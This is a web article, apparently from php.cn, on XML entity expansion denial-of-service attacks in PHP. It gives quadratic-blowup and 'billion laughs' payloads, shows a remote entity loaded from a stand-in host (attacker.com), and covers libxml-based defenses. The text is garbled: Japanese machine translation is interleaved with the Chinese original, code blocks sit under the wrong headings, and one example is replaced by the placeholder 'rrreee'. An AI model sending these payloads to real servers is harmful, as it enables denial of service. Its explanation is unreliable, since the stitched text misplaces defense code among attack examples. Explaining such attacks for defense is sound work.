ホームページ  >  記事  >  バックエンド開発  >  XML エンティティ拡張攻撃コード例の共有

XML エンティティ拡張攻撃コード例の共有

黄舟
黄舟オリジナル
2017-03-17 16:56:522309ブラウズ

XMl エンティティ拡張 (攻撃) は XML エンティティ拡張に似ていますが、主にターゲット プログラムのサーバー環境を消費することによって DOS 攻撃を実行しようとします。この攻撃は XML エンティティ拡張に基づいており、XML の DOCTYPE でカスタム エンティティ定義を作成することで実装されます。たとえば、この定義により、元の許容サイズよりもはるかに大きなオブジェクトがメモリ内に生成される可能性があります。 XML: XML 構造。この攻撃により、ネットワーク サーバーの通常の効率的な動作に必要なメモリ リソースが使い果たされます。この攻撃手法は、現在は実行できない HTML5DOCTYPE中创建自定义实体的定义实现,比如,这种定义可以在内存中生成一个比XML的原始允许大小大出很多的XML结构,来使这种攻击得以耗尽网络服务器正常有效运行的必需内存资源。这种攻击方式同样适用于HTML5的XML序列化功能模块,该模块当前还不能被libxml2扩展包识别为HTML。

XML Entity Expansion举例

要扩展XML自定义实体以达到预期的耗尽服务器资源效果有好几种方式。

Generic Entity Expansion

通用实体扩展攻击

通用实体扩展攻击同样被称为“Quadratic Blowup Attack”,使用这种方式时,自定义实体被定义为一个极长的字符串。当文件中大量使用这个实体时,该实体在每次调用时都会进行扩展,生成一个大幅超出原XML所需RAM大小的XML结构。

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>

通过平衡自定义实体字符串大小和文档主体内使用实体数量,可以创建一个扩展至占用服务器可预测RAM空间大小的XML文档或字符串。通过这样重复请求来占用服务器RAM,就可以发动一次成功的拒绝服务攻击。该方式的缺陷是,由于产生内存消耗效果是基于简单数乘的,因此初始XML文档或字符串本身需要足够大。

递归实体扩展攻击

通用实体扩展攻击需要足够大的XML输入数据量,而递归实体扩展攻击的平均输入字节能产生更强力的攻击效果。这种攻击方式依赖于XML解析器来解析,从而完成小实体集的指数级增长。通过这种指数爆炸性增长方式,一个比通用实体扩展攻击使用小得多的输入数据量实际可增长得极大。因此这种方式被称为“XML Bomb”或是“Billion Laughs Attack”也是十分恰切的。

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>

XML Bomb攻击并不需要可能会被程序限制的大量XML数据输入。实体集像这样指数倍增长,最终形成的扩展后文本大小是初始 &x0实体值的2的100次方倍。这着实是一个庞大且毁灭性超强的炸弹!

远程实体扩展攻击

常规和递归实体扩展攻击都依赖于XML文档类型定义中定义在本地的实体,但是攻击者同样可以进行外部实体定义。这很显然需要XML解析器能够像我们之前在描述XML外部实体注入式攻击(XXE)时遇到的那样,发起远程HTTP请求。而拒绝这种请求对你的XML解析器而言是一种基础的安保措施。因此,防御XXE攻击的措施同样适用于此类XML实体扩展攻击。

虽说可以通过上述方式进行防御,远程实体扩展通过使XML解析器发出远程HTTP请求来获得被引用实体的扩展值来进行攻击。返回结果将自行定义其他XML解析器必须另行HTTP请求的外部实体。如此一来,一些看似并无攻击性的请求会迅速脱离控制,并给服务器的可用资源带来负担。这种情况下,如果请求自包括一个递归扩展攻击,那最终结果会更加糟糕。

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
    <result>3..2..1...&cascade<result>
</results>

上述攻击手法还有可能更加迂回地进行DOS攻击,比如,远程请求被调整到针对本地程序或其他任何共享其服务器资源的程序。这种攻击方式可能造成自我损伤式的DOS攻击,其中, XML解析器尝试解析外部实体可能会触发无数针对本地程序的请求,并由此消耗更多的服务器资源。该方式因此被用于放大之前讨论过的关于使用XML外部实体注入式攻击(XXE)以完成DOS攻击的攻击影响。

针对XML实体扩展攻击的防御措施

下列常规防御措施,是从我们针对普通XML外部实体攻击(XXE)的防御措施继承而来的。我们应当拒绝XML中自定义实体对本地文件和远程HTTP请求的解析,并可使用以下可全局应用于所有内部使用了libxml2 の XML シリアル化機能モジュールにも適用されます。 >libxml2 拡張パッケージは HTML として認識されます。

XML エンティティの拡張の例

🎜 XML カスタム エンティティを拡張して、サーバー リソースを使い果たすという望ましい効果を達成するには、いくつかの方法があります。 🎜

汎用エンティティ拡張

汎用エンティティ拡張攻撃

🎜汎用エンティティ拡張攻撃は「Quadratic Blowup Attack」とも呼ばれます。この方法を使用する場合、カスタム エンティティは非常に長い攻撃として定義されます。 文字列 🎜。このエンティティがファイル内で広範囲に使用されると、エンティティは呼び出しごとに拡張され、その結果、元の XML に必要な RAM サイズを大幅に超える XML 構造が生成されます。 🎜
libxml_disable_entity_loader(true);
🎜 カスタム エンティティ文字列のサイズとドキュメント本文内で使用されるエンティティの数のバランスをとることにより、サーバー上の予測可能な量の RAM スペースを占有するように拡張できる XML ドキュメントまたは文字列を作成できます。このように繰り返しリクエストでサーバーの RAM を占有することで、サービス拒否攻撃が開始される可能性があります。この方法の欠点は、メモリ消費の影響が単純な乗算に基づいているため、最初の XML ドキュメントまたは文字列自体が十分に大きい必要があることです。 🎜

再帰的🎜エンティティ拡張攻撃

🎜一般的なエンティティ拡張攻撃には十分な大きさの XML が必要です再帰的エンティティ拡張攻撃の平均入力バイト数は、より強力な攻撃効果を生み出す可能性があります。この攻撃方法は XML 解析に依存して解析するため、小さなエンティティ セットが急激に増加します。この指数関数的な増加アプローチにより、一般的なエンティティ拡張攻撃よりもはるかに少ない量の入力データが、実際には非常に大きくなる可能性があります。したがって、このアプローチは「XML Bomb」または「Billion Laughs Attack」と呼ばれるのが適切です。 🎜
$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            &#39;Invalid XML: Detected use of illegal DOCTYPE&#39;
        );
    }
}
🎜XML Bomb 攻撃は、プログラムによって制限される可能性のある大量の XML データ入力を必要としません。エンティティ セットはこのように指数関数的に増加し、結果として拡張されたテキスト サイズは、元の &x0 エンティティ値の 2 の 100 乗になります。これは本当に巨大で破壊的な爆弾です! 🎜

リモート エンティティ拡張攻撃

🎜 従来のエンティティ拡張攻撃と再帰的なエンティティ拡張攻撃はどちらも、XML ドキュメント タイプ定義でローカルに定義されたエンティティに依存しますが、攻撃者は外部エンティティを定義することもできます。これには明らかに、XML 外部エンティティ インジェクション (XXE) 攻撃について説明したときに以前に遭遇したように、XML パーサーがリモート HTTP リクエストを作成できる必要があります。このようなリクエストを拒否することは、XML パーサーの基本的なセキュリティ対策です。したがって、XXE 攻撃に対する防御策は、このような XML エンティティ拡張攻撃にも適用されます。 🎜🎜上記の方法で防御できますが、リモート エンティティ拡張は、XML パーサーにリモート HTTP リクエストを発行させ、参照されたエンティティの拡張値を取得させることによって攻撃します。返された結果自体が、他の XML パーサーが個別の HTTP リクエストを作成する必要がある外部エンティティを定義します。その結果、一見無害に見えるリクエストがすぐに制御不能になり、サーバーの利用可能なリソースに負担をかける可能性があります。この場合、リクエスト自体に再帰的拡張攻撃が含まれていると、最終結果はさらに悪化します。 🎜rrreee🎜上記の攻撃方法は、より迂回的な DOS 攻撃につながる可能性もあります。たとえば、リモート リクエストは、ローカル プログラムやサーバー リソースを共有する他のプログラムをターゲットにするように調整されます。この攻撃方法は自己破壊的な DOS 攻撃を引き起こす可能性があり、XML パーサーが外部エンティティを解析しようとすると、ローカル プログラムへの無数のリクエストがトリガーされ、より多くのサーバー リソースが消費される可能性があります。したがって、この方法は、XML 外部エンティティ インジェクション (XXE) 攻撃を使用して DOS 攻撃を完了する、前述の攻撃の影響を増幅するために使用されます。 🎜

XML エンティティ拡張攻撃に対する防御手段

🎜 以下の一般的な防御手段は、通常の XML 外部エンティティ攻撃 (XXE) に対する防御手段を継承しています。次の関数を使用して、XML 内のカスタム エンティティによるローカル ファイルとリモート HTTP リクエストの解析を拒否する必要があります。この関数は、内部で libxml2 関数を使用する PHP または XML で記述されたすべての拡張機能にグローバルに適用できます。 🎜
libxml_disable_entity_loader(true);

诚然PHP以不按常理出牌著称,它并不使用常规的防御方式。常规的防御方式在文档类型声明中,使用XML的文档类型定义来完全拒绝通过自定义实体的定义。PHP也的确为防御功能定义了一个替代实体的LIBXML_NOENT常量,以及 DOMDocument::$substituteEntities 公共属性,但是使用这两条定义的防御效果不甚明显。似乎我们只能这样将就解决问题,而没有任何更好的解决方案。

虽说没有更好的方案,libxml2函数也确实内置了默认拒绝递归实体解析。要知道递归实体要是出了问题可是能让你的错误日志”咻”地一下跟点亮圣诞树一样全面飘红的。如此看来,好像也没必要特意针对递归实体使用一种特殊防御手段,尽管我们是得做点什么来防止万一libxml2函数突然陷回解析递归实体的故障里去。

当下新型威胁主要来自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻击方式。此类攻击方式不需要调用远程或本地系统,也不需要实体递归。事实上,唯一的防御措施要么是不用XML,要么是清理过滤所有包含文档类型声明的XML。除非要求的文档类型声明接收于安全的可信源,否则最安全的做法就是不用XML了。比如,我们是由同行验证的HTTPS连接接受的。否则,既然PHP没给我们提供禁用文档类型定义的选项,那我们就只能自建逻辑了。假定你能调用 libxml_disable_entity_loader(TRUE),那么后续程序运行就是安全的了,因为实体扩展这一步已经被递延到被扩展影响的节点值可被再次访问的时候了(然而勾选TURE以后永远都访问不到了)。

$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            &#39;Invalid XML: Detected use of illegal DOCTYPE&#39;
        );
    }
}

当然啦,在 libxml_disable_entity_loader 被设定为TRUE的前提下,以上代码才能正常运行,设定后XML初始加载的时外部实体引用就不会被解析了。除非解析器自己有一套全面的针对如何进行实体解析的控制选项,否则XML解析器不依赖libxml2函数进行解析时,恐怕这就是唯一的防御措施了。

如果你想使用SimpleXML函数,记得用the simplexml_import_dom()函数来转换核验过的DOMDocument项目。

原文地址:Injection Attacks

OneAPM for PHP 能够深入到所有 PHP 应用内部完成应用性能管理 能够深入到所有 PHP 应用内部完成应用性能管理和监控,包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。想阅读更多技术文章,请访问 OneAPM 官方技术博客。

以上がXML エンティティ拡張攻撃コード例の共有の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。